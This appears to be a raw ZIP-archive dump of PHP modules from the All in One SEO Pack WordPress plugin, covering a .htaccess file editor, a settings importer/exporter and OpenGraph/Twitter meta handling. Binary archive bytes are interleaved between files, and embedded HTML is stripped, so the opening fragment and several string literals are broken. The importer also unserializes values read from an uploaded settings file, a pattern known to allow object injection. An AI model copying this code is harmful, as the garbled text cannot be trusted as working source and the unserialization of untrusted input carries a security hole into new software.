    '; } else { $img .= '

    '; } if ( $args['options']['save'] ) { $name = "

    {$args['options']['name']}

    "; $checkbox .= ''; } else { $name = "{$args['options']['name']}"; } if ( ! empty( $args['options']['id'] ) ) { $args['attr'] .= " id='{$args['options']['id']}'"; } return $buf . "
    "; } } } PK,—[JØèT° ° 3all-in-one-seo-pack/modules/aioseop_file_editor.phpnu„[µü¤name = __( 'File Editor', 'all-in-one-seo-pack' ); // Human-readable name of the plugin. $this->prefix = 'aiosp_file_editor_'; // option prefix. $this->file = __FILE__; // the current file. parent::__construct(); $this->current_tab = 'htaccess'; if ( isset( $_REQUEST['tab'] ) ) { $this->current_tab = $_REQUEST['tab']; } $this->default_options = array( 'htaccfile' => array( 'name' => __( 'Edit .htaccess', 'all-in-one-seo-pack' ), 'save' => false, 'default' => '', 'type' => 'textarea', 'cols' => 70, 'rows' => 25, 'label' => 'top', ), ); $this->tabs = array( 'htaccess' => array( 'name' => __( '.htaccess', 'all-in-one-seo-pack' ) ), ); $this->layout = array( 'htaccess' => array( 'name' => __( 'Edit .htaccess', 'all-in-one-seo-pack' ), 'options' => array( 'htaccfile' ), 'tab' => 'htaccess', ), ); // load initial options / set defaults. $this->update_options(); } /** * Settings Page Initialize * * @since ? */ function settings_page_init() { add_filter( $this->prefix . 'display_options', array( $this, 'filter_options' ), 10, 2 ); add_filter( $this->prefix . 'submit_options', array( $this, 'filter_submit' ), 10, 2 ); } /** * Add Page Hooks * * @since ? */ function add_page_hooks() { parent::add_page_hooks(); add_action( $this->prefix . 'settings_update', array( $this, 'do_file_editor' ), 10, 2 ); } /** * Filter Submit * * @since ? * @param $submit * @param $location * @return mixed */ function filter_submit( $submit, $location ) { unset( $submit['Submit_Default'] ); $submit['Submit']['type'] = 'hidden'; if ( 'htaccess' === $this->current_tab ) { $submit['Submit_htaccess'] = array( 'type' => 'submit', 'class' => 'button-primary', 'value' => __( 'Update .htaccess', 'all-in-one-seo-pack' ) . ' »', ); } return $submit; } /** * Filter Options * * @since ? * * @param $options * @param $location * @return mixed */ function filter_options( $options, $location ) { $prefix = $this->get_prefix( $location ); if ( 'htaccess' === $this->current_tab ) { $options = $this->load_files( $options, array( 'htaccfile' => '.htaccess' ), $prefix ); } return $options; } /** * Do File Editor * * @since ? * * @param $options This seems to be unused. * @param $location */ function do_file_editor( $options, $location ) { $prefix = $this->get_prefix( $location ); if ( 'htaccess' === $this->current_tab && isset( $_POST['Submit_htaccess'] ) && $_POST['Submit_htaccess'] ) { $this->save_files( array( 'htaccfile' => '.htaccess' ), $prefix ); } } } } PK,—[º/X#Û>Û>9all-in-one-seo-pack/modules/aioseop_importer_exporter.phpnu„[µü¤name = __( 'Importer & Exporter', 'all-in-one-seo-pack' ); // Human-readable name of the module. $this->prefix = 'aiosp_importer_exporter_'; // option prefix. $this->file = __FILE__; $this->warnings = array(); parent::__construct(); $this->default_options = array( 'import_submit' => array( 'name' => __( 'Import', 'all-in-one-seo-pack' ), 'default' => '', 'type' => 'file', 'class' => 'aioseop_file_upload', 'save' => false, ), 'export_choices' => array( 'name' => __( 'Export Settings', 'all-in-one-seo-pack' ), 'type' => 'multicheckbox', 'initial_options' => array( 1 => __( 'General Settings', 'all-in-one-seo-pack' ), 2 => __( 'Post Data', 'all-in-one-seo-pack' ), ), ), 'export_post_types' => array( 'name' => __( 'Export Post Types', 'all-in-one-seo-pack' ), 'default' => array( 'post' => 'post', 'page' => 'page', ), 'type' => 'multicheckbox', 'initial_options' => $this->get_post_type_titles( array( '_builtin' => false ) ), ), 'import_export_help' => array( 'type' => 'html', 'label' => 'none', 'default' => __( 'Note: If General Settings is checked, the General Settings, the Feature Manager settings, and the following currently active modules will have their settings data exported:', 'all-in-one-seo-pack' ) . '
    ', ), ); $this->layout = array( 'default' => array( 'name' => $this->name, 'help_link' => 'https://semperplugins.com/documentation/importer-exporter-module/', 'options' => array_keys( $this->default_options ), ), ); // load initial options / set defaults. add_action( 'admin_init', array( $this, 'debug_post_types' ), 5 ); } /** * Settings Page Initialize * * @since ? */ function settings_page_init() { add_filter( $this->prefix . 'submit_options', array( $this, 'filter_submit' ) ); } /** * Filter Submit * * @since ? * * @param $submit * @return array */ function filter_submit( $submit ) { $submit['Submit']['value'] = __( 'Import', 'all-in-one-seo-pack' ) . ' »'; return array( 'export_submit' => array( 'type' => 'submit', 'class' => 'button-primary', 'value' => __( 'Export', 'all-in-one-seo-pack' ) . ' »', ), ) + $submit; } /** * Debug Post Types * * @since ? */ function debug_post_types() { $post_types = $this->get_post_type_titles(); $rempost = array( 'customize_changeset' => 1, 'custom_css' => 1, 'revision' => 1, 'nav_menu_item' => 1, ); $this->default_options['export_post_types']['initial_options'] = array_diff_key( $post_types, $rempost ); global $aioseop_modules; if ( ! empty( $aioseop_modules ) ) { $modules = $aioseop_modules->get_loaded_module_list(); if ( ! empty( $modules ) && ! empty( $modules['feature_manager'] ) ) { unset( $modules['feature_manager'] ); } if ( ! empty( $modules ) ) { $this->default_options['import_export_help']['default'] .= "
      \n"; foreach ( $modules as $m ) { $module = $aioseop_modules->return_module( $m ); $this->default_options['import_export_help']['default'] .= "\t
    • " . $module->name . "
    • \n"; } $this->default_options['import_export_help']['default'] .= "\n
    \n"; } else { $this->default_options['import_export_help']['default'] .= '
    ' . __( 'There are no other modules currently loaded!', 'all-in-one-seo-pack' ); } } $this->default_options['import_export_help']['default'] .= '
    ' . __( 'You may change this by activating or deactivating modules in the Feature Manager.', 'all-in-one-seo-pack' ); $this->update_options(); if ( ! empty( $_REQUEST['export_submit'] ) ) { $this->do_importer_exporter(); } else { add_action( $this->prefix . 'settings_update', array( $this, 'do_importer_exporter' ) ); } } /** * Importer/Exporter Export * * @since ? * * @param $args * @return string */ function importer_exporter_export( $args ) { // Adds all settings to settings file. $name = $this->get_option_name(); $buf = '[' . $this->get_option_name() . "]\n"; if ( ! empty( $this->options ) ) { foreach ( $this->options as $key => $value ) { $buf .= "$key = '" . str_replace( "'", "\'", trim( serialize( $value ) ) ) . "'\n"; } } return $buf; } /** * Show Import Warning * * @since ? */ function show_import_warnings() { echo '
    '; if ( is_array( $this->warnings ) ) { foreach ( $this->warnings as $warning ) { echo '

    ' . wp_kses( wp_unslash( $warning ), 'b, strong, i, em' ) . '

    '; } } echo '
    '; } /** * Parse INI Helper * * @since ? * * @param $array * @return array */ function parse_ini_helper( $array ) { $return_array = array(); if ( is_array( $array ) ) { foreach ( $array as $key => $value ) { $e = explode( ':', $key ); if ( ! empty( $e[1] ) ) { $x = array(); foreach ( $e as $tk => $tv ) { $x[ $tk ] = trim( $tv ); } $x = array_reverse( $x, true ); foreach ( $x as $k => $v ) { $c = $x[0]; if ( empty( $return_array[ $c ] ) ) { $return_array[ $c ] = array(); } if ( isset( $return_array[ $x[1] ] ) ) { $return_array[ $c ] = array_merge( $return_array[ $c ], $return_array[ $x[1] ] ); } if ( 0 === $k ) { $return_array[ $c ] = array_merge( $return_array[ $c ], $array[ $key ] ); } } } else { $return_array[ $key ] = $array[ $key ]; } } } return $return_array; } /** * Recursive Parse * * @since ? * * @param $array * @return array */ function recursive_parse( $array ) { $return_array = array(); if ( is_array( $array ) ) { foreach ( $array as $key => $value ) { if ( is_array( $value ) ) { $array[ $key ] = $this->recursive_parse( $value ); } $x = explode( '.', $key ); if ( ! empty( $x[1] ) ) { $x = array_reverse( $x, true ); if ( isset( $return_array[ $key ] ) ) { unset( $return_array[ $key ] ); } if ( ! isset( $return_array[ $x[0] ] ) ) { $return_array[ $x[0] ] = array(); } $first = true; foreach ( $x as $k => $v ) { if ( true === $first ) { $b = $array[ $key ]; $first = false; } $b = array( $v => $b ); } $return_array[ $x[0] ] = array_merge_recursive( $return_array[ $x[0] ], $b[ $x[0] ] ); } else { $return_array[ $key ] = $array[ $key ]; } } } return $return_array; } /** * Get INI File * * @since ? * * @param $assoc_arr * @param bool $has_sections * @return string */ function get_ini_file( $assoc_arr, $has_sections = true ) { $content = ''; if ( $has_sections ) { foreach ( $assoc_arr as $key => $elem ) { $content .= '[' . $key . "]\n"; foreach ( $elem as $key2 => $elem2 ) { if ( is_array( $elem2 ) ) { for ( $i = 0; $i < count( $elem2 ); $i ++ ) { $content .= $key2 . '[] = "' . $elem2[ $i ] . "\"\n"; } } elseif ( '' == $elem2 ) { $content .= $key2 . " = \n"; } else { $content .= $key2 . ' = "' . $elem2 . "\"\n"; } } } } else { foreach ( $assoc_arr as $key => $elem ) { if ( is_array( $elem ) ) { for ( $i = 0; $i < count( $elem ); $i ++ ) { $content .= $key2 . '[] = "' . $elem[ $i ] . "\"\n"; } } elseif ( '' == $elem ) { $content .= $key2 . " = \n"; } else { $content .= $key2 . ' = "' . $elem . "\"\n"; } } } return $content; } /** * Parse INI Advanced * * @since ? * * @param $string * @return array */ function parse_ini_advanced( $string ) { return $this->recursive_parse( $this->parse_ini_helper( parse_ini_string( $string, true ) ) ); } /** * Do Importer/Exporter * * @since ? */ function do_importer_exporter() { $submit = null; $count = 0; $post_exists = null; $post_warning = null; global $aioseop_options, $aiosp, $aioseop_module_list; if ( isset( $_REQUEST['nonce-aioseop'] ) ) { $nonce = $_REQUEST['nonce-aioseop']; } $post_fields = array( 'keywords', 'description', 'title', 'meta', 'disable', 'disable', 'disable_analytics', 'togglekeywords', ); if ( ! empty( $_FILES['aiosp_importer_exporter_import_submit']['tmp_name'] ) ) { $submit = 'Import'; } if ( ! empty( $_REQUEST['export_submit'] ) ) { $submit = 'Export'; } if ( ( null != $submit ) && wp_verify_nonce( $nonce, 'aioseop-nonce' ) ) { switch ( $submit ) { case 'Import': try { // Parses export file. $file = $this->get_sanitized_file( $_FILES['aiosp_importer_exporter_import_submit']['tmp_name'] ); $section = array(); $section_label = null; foreach ( $file as $line_number => $line ) { $line = trim( $line ); $matches = array(); if ( empty( $line ) ) { continue; } if ( ';' == $line[0] ) { continue; } if ( preg_match( '/^\[(\S+)\]$/', $line, $label ) ) { $section_label = strval( $label[1] ); if ( 'post_data' == $section_label ) { $count ++; } if ( ! isset( $section[ $section_label ] ) ) { $section[ $section_label ] = array(); } } elseif ( preg_match( "/^(\S+)\s*=\s*'(.*)'$/", $line, $matches ) ) { if ( 'post_data' == $section_label ) { $section[ $section_label ][ $count ][ $matches[1] ] = $matches[2]; } else { $section[ $section_label ][ $matches[1] ] = $matches[2]; } } elseif ( preg_match( '/^(\S+)\s*=\s*NULL$/', $line, $matches ) ) { if ( 'post_data' == $section_label ) { $section[ $section_label ][ $count ][ $matches[1] ] = null; } else { $section[ $section_label ][ $matches[1] ] = null; } } else { $this->warnings[] = sprintf( __( 'Warning: Line not matched: "%1$s", On Line: %2$s', 'all-in-one-seo-pack' ), $line, $line_number ); } } // Updates Plugin Settings. if ( is_array( $section ) ) { foreach ( $section as $label => $module_options ) { if ( is_array( $module_options ) ) { foreach ( $module_options as $key => $value ) { // Updates Post Data. if ( 'post_data' == $label ) { $post_exists = post_exists( $module_options[ $key ]['post_title'], '', $module_options[ $key ]['post_date'] ); $target = get_post( $post_exists ); if ( ( ! empty( $module_options[ $key ]['post_type'] ) ) && null != $post_exists ) { if ( is_array( $value ) ) { foreach ( $value as $field_name => $field_value ) { if ( substr( $field_name, 1, 7 ) == 'aioseop' ) { if ( $value ) { update_post_meta( $target->ID, $field_name, maybe_unserialize( $field_value ) ); } else { delete_post_meta( $target->ID, $field_name ); } } } } $post_exists = null; } else { $target_title = $module_options[ $key ]['post_title']; $post_warning = sprintf( __( 'Warning: This following post could not be found: "%s"', 'all-in-one-seo-pack' ), $target_title ); } if ( null != $post_warning ) { $this->warnings[] = $post_warning; $post_warning = null; } // Updates Module Settings. } else { $module_options[ $key ] = str_replace( array( "\'", '\n', '\r' ), array( "'", "\n", "\r" ), maybe_unserialize( $value ) ); } } // Updates Module Settings. $this->update_class_option( $module_options, $label ); } } } } catch ( Exception $e ) { // Shows only one warning when compromised file is imported. $this->warnings = array(); $this->warnings[] = $e->getMessage(); add_action( $this->prefix . 'settings_header_errors', array( $this, 'show_import_warnings' ) ); break; } // Shows all errors found. if ( ! empty( $this->warnings ) ) { add_action( $this->prefix . 'settings_header', array( $this, 'show_import_warnings' ), 5 ); } break; case 'Export': // Creates Files Contents. $settings_file = 'settings_aioseop.ini'; /* translators: %s is a placeholder, which means that it should not be translated. It will be replaced with the name of the plugin, All in One SEO Pack. */ $buf = '; ' . sprintf( __( 'Settings export file for %s', 'all-in-one-seo-pack' ), AIOSEOP_PLUGIN_NAME ) . "\n"; // Adds all settings to settings file. $buf = $aiosp->settings_export( $buf ); $buf = apply_filters( 'aioseop_export_settings', $buf ); // Sends File to browser. $strlength = strlen( $buf ); header( 'Content-type: application/ini' ); header( "Content-Disposition: attachment; filename=$settings_file" ); header( 'Content-Length: ' . $strlength ); echo $buf; die(); break; } } } /** * Settings Update * * @since ? * @deprecated */ function settings_update() { } /** * Get Sanitized File * * Returns sanitized imported file. * * @since 2.3.4.2 * * @param string $filename Path to where the uploaded file is located. * @return array Sanitized file as array. * @throws Exception */ private function get_sanitized_file( $filename ) { $file = file( $filename ); for ( $i = count( $file ) - 1; $i >= 0; -- $i ) { // Remove insecured lines. if ( preg_match( '/\<(\?php|script)/', $file[ $i ] ) ) { throw new Exception( __( 'Security warning: Your file looks compromised. Please check the file for any script-injection.', 'all-in-one-seo-pack' ) ); } // Apply security filters. $file[ $i ] = strip_tags( trim( $file[ $i ] ) ); // Remove empty lines. if ( empty( $file[ $i ] ) ) { unset( $file[ $i ] ); } } return $file; } } } PK,—[¥ƒHèD D 1all-in-one-seo-pack/modules/aioseop_opengraph.phpnu„[µü¤name = __( 'Social Meta', 'all-in-one-seo-pack' ); // Human-readable name of the plugin. $this->prefix = 'aiosp_opengraph_'; // option prefix. $this->file = __FILE__; // the current file. $this->fb_object_types = array( 'Activities' => array( 'activity' => __( 'Activity', 'all-in-one-seo-pack' ), 'sport' => __( 'Sport', 'all-in-one-seo-pack' ), ), 'Businesses' => array( 'bar' => __( 'Bar', 'all-in-one-seo-pack' ), 'company' => __( 'Company', 'all-in-one-seo-pack' ), 'cafe' => __( 'Cafe', 'all-in-one-seo-pack' ), 'hotel' => __( 'Hotel', 'all-in-one-seo-pack' ), 'restaurant' => __( 'Restaurant', 'all-in-one-seo-pack' ), ), 'Groups' => array( 'cause' => __( 'Cause', 'all-in-one-seo-pack' ), 'sports_league' => __( 'Sports League', 'all-in-one-seo-pack' ), 'sports_team' => __( 'Sports Team', 'all-in-one-seo-pack' ), ), 'Organizations' => array( 'band' => __( 'Band', 'all-in-one-seo-pack' ), 'government' => __( 'Government', 'all-in-one-seo-pack' ), 'non_profit' => __( 'Non Profit', 'all-in-one-seo-pack' ), 'school' => __( 'School', 'all-in-one-seo-pack' ), 'university' => __( 'University', 'all-in-one-seo-pack' ), ), 'People' => array( 'actor' => __( 'Actor', 'all-in-one-seo-pack' ), 'athlete' => __( 'Athlete', 'all-in-one-seo-pack' ), 'author' => __( 'Author', 'all-in-one-seo-pack' ), 'director' => __( 'Director', 'all-in-one-seo-pack' ), 'musician' => __( 'Musician', 'all-in-one-seo-pack' ), 'politician' => __( 'Politician', 'all-in-one-seo-pack' ), 'profile' => __( 'Profile', 'all-in-one-seo-pack' ), 'public_figure' => __( 'Public Figure', 'all-in-one-seo-pack' ), ), 'Places' => array( 'city' => __( 'City', 'all-in-one-seo-pack' ), 'country' => __( 'Country', 'all-in-one-seo-pack' ), 'landmark' => __( 'Landmark', 'all-in-one-seo-pack' ), 'state_province' => __( 'State Province', 'all-in-one-seo-pack' ), ), 'Products and Entertainment' => array( 'album' => __( 'Album', 'all-in-one-seo-pack' ), 'book' => __( 'Book', 'all-in-one-seo-pack' ), 'drink' => __( 'Drink', 'all-in-one-seo-pack' ), 'food' => __( 'Food', 'all-in-one-seo-pack' ), 'game' => __( 'Game', 'all-in-one-seo-pack' ), 'movie' => __( 'Movie', 'all-in-one-seo-pack' ), 'product' => __( 'Product', 'all-in-one-seo-pack' ), 'song' => __( 'Song', 'all-in-one-seo-pack' ), 'tv_show' => __( 'TV Show', 'all-in-one-seo-pack' ), 'episode' => __( 'Episode', 'all-in-one-seo-pack' ), ), 'Websites' => array( 'article' => __( 'Article', 'all-in-one-seo-pack' ), 'website' => __( 'Website', 'all-in-one-seo-pack' ), ), ); parent::__construct(); if ( is_admin() ) { add_action( 'admin_init', array( $this, 'admin_init' ), 5 ); } else { add_action( 'wp', array( $this, 'type_setup' ) ); } if ( ! is_admin() || defined( 'DOING_AJAX' ) || defined( 'AIOSEOP_UNIT_TESTING' ) ) { $this->do_opengraph(); } // Set variables after WordPress load. add_action( 'init', array( &$this, 'init' ), 999999 ); // Avoid having duplicate meta tags. add_filter( 'jetpack_enable_open_graph', '__return_false' ); add_filter( $this->prefix . 'meta', array( $this, 'handle_meta_tag' ), 10, 5 ); // Force refresh of Facebook cache. add_action( 'post_updated', array( &$this, 'force_fb_refresh_update' ), 10, 3 ); add_action( 'transition_post_status', array( &$this, 'force_fb_refresh_transition' ), 10, 3 ); add_action( 'edited_term', array( &$this, 'save_tax_data' ), 10, 3 ); // Adds special filters. add_filter( 'aioseop_opengraph_placeholder', array( &$this, 'filter_placeholder' ) ); add_action( 'aiosp_activate_opengraph', array( $this, 'activate_module' ) ); add_action( 'created_term', array( $this, 'created_term' ), 10, 3 ); // Call to init to generate menus. $this->init(); } /** * Process meta tags for specific idiosyncrasies. * * @since 3.0 * * @param string $value The value that is proposed to be shown in the tag. * @param string $network The social network. * @param string $meta_tag The meta tag without the network name prefixed. * @param string $network_meta_tag The meta tag with the network name prefixed. This is not always $network:$meta_tag. * @param array $extra_params Extra parameters that might be required to process the meta tag. * * @return string The final value that will be shown. */ function handle_meta_tag( $value, $network, $meta_tag, $network_meta_tag, $extra_params ) { switch ( $meta_tag ) { case 'type': // @issue 1013 ( https://github.com/semperfiwebdesign/all-in-one-seo-pack/issues/1013 ). if ( 'blog' === $value ) { $value = 'website'; } break; } /** * Disables truncation of meta tags. Return true to shortcircuit and disable truncation. * * @since 3.0 * * @issue https://github.com/semperfiwebdesign/all-in-one-seo-pack/issues/808 * @issue https://github.com/semperfiwebdesign/all-in-one-seo-pack/issues/2296 * @link https://developer.twitter.com/en/docs/tweets/optimize-with-cards/overview/markup.html * * @param bool The value that is proposed to be shown in the tag. * @param string $network The social network. * @param string $meta_tag The meta tag without the network name prefixed. * @param string $network_meta_tag The meta tag with the network name prefixed. This is not always $network:$meta_tag. * @param array $extra_params Extra parameters that might be required to process the meta tag. */ if ( true === apply_filters( $this->prefix . 'disable_meta_tag_truncation', false, $network, $meta_tag, $network_meta_tag ) ) { return $value; } if ( isset( $extra_params['auto_generate_desc'] ) && $extra_params['auto_generate_desc'] ) { switch ( $network_meta_tag ) { case 'twitter:title': $value = trim( $this->substr( $value, 0, 70 ) ); break; case 'og:description': case 'twitter:description': $value = trim( $this->substr( $value, 0, 200 ) ); break; } } return $value; } /** * Sets the terms defaults after a new term is created. * * @param int $term_id Term ID. * @param int $tt_id Term taxonomy ID. * @param string $taxonomy Taxonomy slug. */ function created_term( $term_id, $tt_id, $taxonomy_name ) { $k = 'settings'; $prefix = $this->get_prefix( $k ); $tax = get_taxonomy( $taxonomy_name ); $this->set_object_type_for_taxonomy( $prefix, $k, $taxonomy_name, $tax, false, array( $term_id ) ); } /** * Sets the defaults for a taxonomy. * * @param string $prefix The prefix of this module. * @param string $k The key against which the options will be determined/set. * @param string $taxonomy_name The name of the taxonomy. * @param Object $tax The taxonomy object. * @param bool $bail_if_no_terms Bail if the taxonomy has no terms. * @param array $terms The terms in the taxonomy. */ private function set_object_type_for_taxonomy( $prefix, $k, $taxonomy_name, $tax, $bail_if_no_terms = false, $terms = null ) { $object_type = null; if ( ! $terms ) { $terms = get_terms( $taxonomy_name, array( 'meta_query' => array( array( 'key' => '_' . $prefix . $k, 'compare' => 'NOT EXISTS', ), ), 'number' => PHP_INT_MAX, 'fields' => 'ids', 'hide_empty' => false, ) ); } if ( empty( $terms ) && $bail_if_no_terms ) { return false; } if ( true === $tax->_builtin ) { $object_type = 'article'; } else { // custom taxonomy. Let's get a post against this to determine its post type. $posts = get_posts( array( 'numberposts' => 1, 'post_type' => 'any', 'tax_query' => array( array( 'taxonomy' => $taxonomy_name, 'field' => 'term_id', 'terms' => $terms, ), ), ) ); if ( $posts ) { global $aioseop_options; $post_type = $posts[0]->post_type; if ( isset( $aioseop_options['modules'] ) && isset( $aioseop_options['modules'][ $this->prefix . 'options' ] ) ) { $og_options = $aioseop_options['modules'][ $this->prefix . 'options' ]; // now let's see what default object type is set for this post type. $object_type_set = $og_options[ $this->prefix . $post_type . '_fb_object_type' ]; if ( ! empty( $object_type_set ) ) { $object_type = $object_type_set; } } } } if ( $object_type ) { $opts[ $prefix . $k . '_category' ] = $object_type; foreach ( $terms as $term_id ) { update_term_meta( $term_id, '_' . $prefix . $k, $opts ); } } return true; } /** * Called when this module is activated. */ public function activate_module() { if ( null !== $this->locations ) { foreach ( $this->locations as $k => $v ) { if ( ! isset( $v['type'] ) || 'metabox' !== $v['type'] ) { continue; } $this->set_virgin_tax_terms( $k ); } } } /** * This iterates over all taxonomies that do not have a opengraph setting defined and sets the defaults. * * @param string $k The key against which the options will be determined/set. */ private function set_virgin_tax_terms( $k ) { $prefix = $this->get_prefix( $k ); $opts = $this->default_options( $k ); $taxonomies = get_taxonomies( array( 'public' => true ), 'object' ); if ( ! $taxonomies ) { return; } foreach ( $taxonomies as $name => $tax ) { $this->set_object_type_for_taxonomy( $prefix, $k, $name, $tax, true, null ); } } /** * Hook called after WordPress has been loaded. * * @since 2.4.14 */ public function init() { $count_desc = __( ' characters. We recommend a maximum of %1$s chars for the %2$s.', 'all-in-one-seo-pack' ); // Create default options. $this->default_options = array( 'scan_header' => array( 'name' => __( 'Scan Header', 'all-in-one-seo-pack' ), 'type' => 'custom', 'save' => true, ), 'setmeta' => array( 'name' => __( 'Use AIOSEO Title and Description', 'all-in-one-seo-pack' ), 'type' => 'checkbox', ), 'key' => array( 'name' => __( 'Facebook Admin ID', 'all-in-one-seo-pack' ), 'default' => '', 'type' => 'text', ), 'appid' => array( 'name' => __( 'Facebook App ID', 'all-in-one-seo-pack' ), 'default' => '', 'type' => 'text', ), 'title_shortcodes' => array( 'name' => __( 'Run Shortcodes In Title', 'all-in-one-seo-pack' ), ), 'description_shortcodes' => array( 'name' => __( 'Run Shortcodes In Description', 'all-in-one-seo-pack' ), ), 'sitename' => array( 'name' => __( 'Site Name', 'all-in-one-seo-pack' ), 'default' => get_bloginfo( 'name' ), 'type' => 'text', ), 'hometitle' => array( 'name' => __( 'Home Title', 'all-in-one-seo-pack' ), 'default' => '', 'type' => 'text', 'count' => true, 'count_desc' => $count_desc, 'size' => 95, 'condshow' => array( 'aiosp_opengraph_setmeta' => array( 'lhs' => 'aiosp_opengraph_setmeta', 'op' => '!=', 'rhs' => 'on', ), ), ), 'description' => array( 'name' => __( 'Home Description', 'all-in-one-seo-pack' ), 'default' => '', 'type' => 'textarea', 'count' => true, 'count_desc' => $count_desc, 'size' => 200, 'condshow' => array( 'aiosp_opengraph_setmeta' => array( 'lhs' => 'aiosp_opengraph_setmeta', 'op' => '!=', 'rhs' => 'on', ), ), ), 'homeimage' => array( 'name' => __( 'Home Image', 'all-in-one-seo-pack' ), 'type' => 'image', ), 'generate_descriptions' => array( 'name' => __( 'Use Content For Autogenerated OG Descriptions', 'all-in-one-seo-pack' ), 'default' => 0, ), 'defimg' => array( 'name' => __( 'Select OG:Image Source', 'all-in-one-seo-pack' ), 'type' => 'select', 'initial_options' => array( '' => __( 'Default Image', 'all-in-one-seo-pack' ), 'featured' => __( 'Featured Image', 'all-in-one-seo-pack' ), 'attach' => __( 'First Attached Image', 'all-in-one-seo-pack' ), 'content' => __( 'First Image In Content', 'all-in-one-seo-pack' ), 'custom' => __( 'Image From Custom Field', 'all-in-one-seo-pack' ), 'author' => __( 'Post Author Image', 'all-in-one-seo-pack' ), 'auto' => __( 'First Available Image', 'all-in-one-seo-pack' ), ), ), 'fallback' => array( 'name' => __( 'Use Default If No Image Found', 'all-in-one-seo-pack' ), 'type' => 'checkbox', ), 'dimg' => array( 'name' => __( 'Default OG:Image', 'all-in-one-seo-pack' ), 'default' => AIOSEOP_PLUGIN_IMAGES_URL . 'default-user-image.png', 'type' => 'image', ), 'dimgwidth' => array( 'name' => __( 'Default Image Width', 'all-in-one-seo-pack' ), 'type' => 'text', 'default' => '', ), 'dimgheight' => array( 'name' => __( 'Default Image Height', 'all-in-one-seo-pack' ), 'type' => 'text', 'default' => '', ), 'meta_key' => array( 'name' => __( 'Use Custom Field For Image', 'all-in-one-seo-pack' ), 'type' => 'text', 'default' => '', ), 'image' => array( 'name' => __( 'Image', 'all-in-one-seo-pack' ), 'type' => 'radio', 'initial_options' => array( 0 => '', ), ), 'customimg' => array( 'name' => __( 'Custom Image', 'all-in-one-seo-pack' ), 'type' => 'image', ), 'imagewidth' => array( 'name' => __( 'Specify Image Width', 'all-in-one-seo-pack' ), 'type' => 'text', 'default' => '', ), 'imageheight' => array( 'name' => __( 'Specify Image Height', 'all-in-one-seo-pack' ), 'type' => 'text', 'default' => '', ), 'video' => array( 'name' => __( 'Custom Video', 'all-in-one-seo-pack' ), 'type' => 'text', ), 'videowidth' => array( 'name' => __( 'Specify Video Width', 'all-in-one-seo-pack' ), 'type' => 'text', 'default' => '', 'condshow' => array( 'aioseop_opengraph_settings_video' => array( 'lhs' => 'aioseop_opengraph_settings_video', 'op' => '!=', 'rhs' => '', ), ), ), 'videoheight' => array( 'name' => __( 'Specify Video Height', 'all-in-one-seo-pack' ), 'type' => 'text', 'default' => '', 'condshow' => array( 'aioseop_opengraph_settings_video' => array( 'lhs' => 'aioseop_opengraph_settings_video', 'op' => '!=', 'rhs' => '', ), ), ), 'defcard' => array( 'name' => __( 'Default Twitter Card', 'all-in-one-seo-pack' ), 'type' => 'select', 'default' => 'summary', 'initial_options' => array( 'summary' => __( 'Summary', 'all-in-one-seo-pack' ), 'summary_large_image' => __( 'Summary Large Image', 'all-in-one-seo-pack' ), /* * REMOVING THIS TWITTER CARD TYPE FROM SOCIAL META MODULE * 'photo' => __( 'Photo', 'all-in-one-seo-pack' ) */ ), ), 'setcard' => array( 'name' => __( 'Twitter Card Type', 'all-in-one-seo-pack' ), 'type' => 'select', 'initial_options' => array( 'summary_large_image' => __( 'Summary Large Image', 'all-in-one-seo-pack' ), 'summary' => __( 'Summary', 'all-in-one-seo-pack' ), /* * REMOVING THIS TWITTER CARD TYPE FROM SOCIAL META MODULE * 'photo' => __( 'Photo', 'all-in-one-seo-pack' ) */ ), ), 'twitter_site' => array( 'name' => __( 'Twitter Site', 'all-in-one-seo-pack' ), 'type' => 'text', 'default' => '', ), 'twitter_creator' => array( 'name' => __( 'Show Twitter Author', 'all-in-one-seo-pack' ), ), 'twitter_domain' => array( 'name' => __( 'Twitter Domain', 'all-in-one-seo-pack' ), 'type' => 'text', 'default' => '', ), 'customimg_twitter' => array( 'name' => __( 'Custom Twitter Image', 'all-in-one-seo-pack' ), 'type' => 'image', ), 'gen_tags' => array( 'name' => __( 'Automatically Generate Article Tags', 'all-in-one-seo-pack' ), ), 'gen_keywords' => array( 'name' => __( 'Use Keywords In Article Tags', 'all-in-one-seo-pack' ), 'default' => 'on', 'condshow' => array( 'aiosp_opengraph_gen_tags' => 'on' ), ), 'gen_categories' => array( 'name' => __( 'Use Categories In Article Tags', 'all-in-one-seo-pack' ), 'default' => 'on', 'condshow' => array( 'aiosp_opengraph_gen_tags' => 'on' ), ), 'gen_post_tags' => array( 'name' => __( 'Use Post Tags In Article Tags', 'all-in-one-seo-pack' ), 'default' => 'on', 'condshow' => array( 'aiosp_opengraph_gen_tags' => 'on' ), ), 'types' => array( 'name' => __( 'Enable Facebook Meta for Post Types', 'all-in-one-seo-pack' ), 'type' => 'multicheckbox', 'default' => array( 'post' => 'post', 'page' => 'page', ), 'initial_options' => $this->get_post_type_titles( array( '_builtin' => false ) ), ), 'title' => array( 'name' => __( 'Title', 'all-in-one-seo-pack' ), 'default' => '', 'type' => 'text', 'size' => 95, 'count' => 1, 'count_desc' => $count_desc, ), 'desc' => array( 'name' => __( 'Description', 'all-in-one-seo-pack' ), 'default' => '', 'type' => 'textarea', 'cols' => 50, 'rows' => 4, 'count' => 1, 'count_desc' => $count_desc, ), 'category' => array( 'name' => __( 'Facebook Object Type', 'all-in-one-seo-pack' ), 'type' => 'select', 'style' => '', 'default' => '', 'initial_options' => $this->fb_object_types, ), 'facebook_debug' => array( 'name' => __( 'Facebook Debug', 'all-in-one-seo-pack' ), 'type' => 'html', 'save' => false, 'default' => '' . __( 'Debug This Post', 'all-in-one-seo-pack' ) . '', ), 'section' => array( 'name' => __( 'Article Section', 'all-in-one-seo-pack' ), 'type' => 'text', 'default' => '', 'condshow' => array( 'aioseop_opengraph_settings_category' => 'article' ), ), 'tag' => array( 'name' => __( 'Article Tags', 'all-in-one-seo-pack' ), 'type' => 'text', 'default' => '', 'condshow' => array( 'aioseop_opengraph_settings_category' => 'article' ), ), 'facebook_publisher' => array( 'name' => __( 'Show Facebook Publisher on Articles', 'all-in-one-seo-pack' ), 'type' => 'text', 'default' => '', ), 'facebook_author' => array( 'name' => __( 'Show Facebook Author on Articles', 'all-in-one-seo-pack' ), ), ); // load initial options / set defaults. $this->update_options(); $display = array(); if ( isset( $this->options['aiosp_opengraph_types'] ) && ! empty( $this->options['aiosp_opengraph_types'] ) ) { $display = $this->options['aiosp_opengraph_types']; } $this->locations = array( 'opengraph' => array( 'name' => $this->name, 'prefix' => 'aiosp_', 'type' => 'settings', 'options' => array( 'scan_header', 'setmeta', 'key', 'appid', 'sitename', 